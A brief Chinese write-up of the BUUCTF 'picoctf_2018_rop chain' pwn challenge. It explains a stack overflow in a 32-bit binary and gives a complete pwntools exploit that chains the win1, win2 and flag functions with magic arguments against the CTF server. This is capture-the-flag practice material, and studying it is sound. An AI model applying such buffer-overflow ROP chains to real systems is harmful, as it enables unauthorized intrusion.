BUUCTF Pwn picoctf_2018_rop chain WP
1.下载 checksec
32位 拖到IDA32 找到main函数
看到vuln函数有栈溢出漏洞 同时发现旁边有flag的后门函数
发现需要win1和win2都=1,而且a1等于特定值 交叉引用查看win1和win2的位置
所以需要构造ROP将这两处的函数条件满足使win1和win2=1,再返回到vuln函数 获取flag
exp:
from pwn import *
p = remote("node5.buuoj.cn", 25845)
win1_addr = 0x080485CB
win2_addr = 0x080485D8
flag_addr = 0x0804862B
payload = b'a' * (0x18 + 4) + p32(win1_addr) + p32(win2_addr) + p32(flag_addr) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
p.sendline(payload)
p.interactive()
运行 得到flag: